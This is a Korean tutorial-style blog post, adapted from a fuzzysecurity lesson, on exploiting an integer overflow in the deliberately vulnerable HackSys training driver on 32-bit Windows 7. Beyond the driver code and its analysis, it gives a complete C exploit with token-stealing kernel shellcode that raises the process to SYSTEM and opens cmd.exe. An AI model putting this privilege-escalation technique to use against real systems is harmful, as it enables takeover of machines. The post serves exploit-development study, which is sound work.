Kernel Exploitation -> Integer Overflow

본 포스팅은 fuzzysecurity Tutorials Part 14 -> Integer Overflow를 분석 및 의역하여 작성하였습니다. Sample Windows Driver Code에 존재하는 취약점을 학습하는 데 그 목적이 있습니다.

분석환경

  • Vmware (Window 7 32bits)
  • IDA
  • Visual C 2010
  • OSR Driver Loader

 

Stap 1. 취약점 분석

NTSTATUS TriggerIntegerOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
 ULONG Count = 0;
 NTSTATUS Status = STATUS_SUCCESS;
 ULONG BufferTerminator = 0xBAD0B0B0;
 ULONG KernelBuffer[BUFFER_SIZE] = {0};
 SIZE_T TerminatorSize = sizeof(BufferTerminator);

PAGED_CODE();

__try {
 ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));

DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
 DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
 DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
 DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));

#ifdef SECURE
 if (Size > (sizeof(KernelBuffer) - TerminatorSize)) {
 DbgPrint("[-] Invalid UserBuffer Size: 0x%X\n", Size);

Status = STATUS_INVALID_BUFFER_SIZE;
 return Status;
 }
#else
 DbgPrint("[+] Triggering Integer Overflow\n");
 if ((Size + TerminatorSize) > sizeof(KernelBuffer)) {

// Integer Overflow
 DbgPrint("[-] Invalid UserBuffer Size: 0x%X\n", Size);

Status = STATUS_INVALID_BUFFER_SIZE;
 return Status;
 }
#endif


 while (Count < (Size / sizeof(ULONG))) {
 if (*(PULONG)UserBuffer != BufferTerminator) {
 KernelBuffer[Count] = *(PULONG)UserBuffer;
 UserBuffer = (PULONG)UserBuffer + 1;
 Count++;
 }

// Size값에서 4를 나눈 값만큼 KernelBuffer에 계속 data를 삽입 Stack Overflow
 else {
 break;
 }
 }
 }
 __except (EXCEPTION_EXECUTE_HANDLER) {
 Status = GetExceptionCode();
 DbgPrint("[-] Exception Code: 0x%X\n", Status);
 }

return Status;
}

TriggerIntegerOverflow code를 살펴보면 SECURE한 경우와 else의 경우 전부 Size를 이용하는 필터링이 되어있다.

그런데 else 부분에서 Size + TerminatorSize가 KernelBuffer의 크기보다 클 경우 함수는 정상 종료되버린다.

Size의 자료형은 4bytes인 unsigned int형이다. Size에 0xffffffff를 넣는다면 그 값은 unsigned int의 최댓값이겠지만 이 수에 TerminatorSize를 더한다면 4bytes를 넘어가게 된다.

하지만 4bytes만 표현해야 하므로 넘어간 숫자 data까지 표현을 못하므로 실제 Size의 값은 굉장히 큰수지만 TerminatorSize를 더한 값은 KernelBuffer의 크기보다 작을 수 있다. 그리고 Size만큼 KernelBuffer에 덮어쓴다면 StackOverflow가 일어날 수 있다.

사용자가 보낸 Size의 필터링 루틴이다. eax에 Size값이 들어있고 esi는 위에서 0x800으로 초기화된다.

MagicValue와 비교하며 buffer에 계속 복사를 하는 루틴이다. 입력한 Userbuffer size에 대한 필터링 없이 전부 data가 Kernelbuffer로 담기기때문에 Integeroverflow 취약점으로 필터링만 우회한다면 StackOverflow로 EIP를 덮을 수 있다.

 

Step 2. Exploit

EIP를 덮을 때까지의 offset을 구해보면 0x820이다. 그리고 EIP를 덮고난 뒤 복사를 멈춰야하므로 EIP 뒤에 바로 MagicValue(0xBAD0B0B0)을 넣어준다.

#include <stdio.h>
#include <Windows.h>
#include <WinIoCtl.h>
#include <TlHelp32.h>
#include <conio.h>
#define HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x809, METHOD_NEITHER, FILE_ANY_ACCESS)
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
typedef NTSTATUS (WINAPI *PNtMapUserPhysicalPages)(PLONG BaseAddress,
 SIZE_T NumberOfPages,
 PULONG PageFrameNumbers);
VOID TokenShellcode(){
 __asm {
 pushad ; Save registers state
 
 ; Start of Token Stealing Stub
 xor eax, eax ; Set ZERO
 mov eax, fs:[eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
 ; _KTHREAD is located at FS:[0x124]
 
 mov eax, [eax + EPROCESS_OFFSET] ; Get nt!_KTHREAD.ApcState.Process
 
 mov ecx, eax ; Copy current process _EPROCESS structure
 
 mov edx, SYSTEM_PID ; WIN 7 SP1 SYSTEM process PID = 0x4
 
 SearchSystemPID:
 mov eax, [eax + FLINK_OFFSET] ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
 sub eax, FLINK_OFFSET
 cmp [eax + PID_OFFSET], edx ; Get nt!_EPROCESS.UniqueProcessId
 jne SearchSystemPID
 
 mov edx, [eax + TOKEN_OFFSET] ; Get SYSTEM process nt!_EPROCESS.Token
 mov [ecx + TOKEN_OFFSET], edx ; Replace target process nt!_EPROCESS.Token
 ; with SYSTEM process nt!_EPROCESS.Token
 ; End of Token Stealing Stub
 
 popad ; Restore registers state
 
 xor eax, eax
 add esp, 12
 pop ebp
 ret 8
 }
}
int main(int argc, CHAR* argv[])
{
 DWORD lpBytesReturned;
 LPCSTR lpDevicename = (LPCSTR)"\\\\.\\HackSysExtremeVulnerableDriver";
 PUCHAR lpInBuffer = NULL;
 LONG magicvalue = 0xBAD0B0B0;
 HMODULE hNtdll = GetModuleHandle("ntdll.dll");
 PULONG Stackbuffer = NULL;
 SIZE_T Buffersize = 0x830;
 
 HANDLE hDriver = CreateFile(lpDevicename,
 GENERIC_READ | GENERIC_WRITE,
 FILE_SHARE_READ | FILE_SHARE_WRITE,
 NULL,
 OPEN_EXISTING,
 FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
 NULL);
 if(hDriver == INVALID_HANDLE_VALUE){
 printf("[!] Fail to get device handle: 0x%x\n", GetLastError());
 }
 printf("[] hDriver: 0x%x\n", hDriver);
 Stackbuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Buffersize);
 if(!Stackbuffer){
 printf("[!] HeapAlloc error\n");
 return 0;
 }
 printf("[] Allcoate memory: 0x%x\n", Stackbuffer);
 memset(Stackbuffer, 0x41, Buffersize);
 *(PULONG)((PUCHAR)Stackbuffer + Buffersize - 8) = (ULONG)&TokenShellcode;
 *(PULONG)((PUCHAR)Stackbuffer + Buffersize - 4) = (ULONG)0xBAD0B0B0;
 
 
 DeviceIoControl(hDriver,
 HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW,
 (LPVOID)Stackbuffer,
 0xffffffff,
 NULL,
 0,
 &lpBytesReturned,
 NULL);
 printf("length: 0x%x\n", strlen((const char *)Stackbuffer));
 system("cmd.exe");
 
 CloseHandle(hDriver);
 
 return 0;
}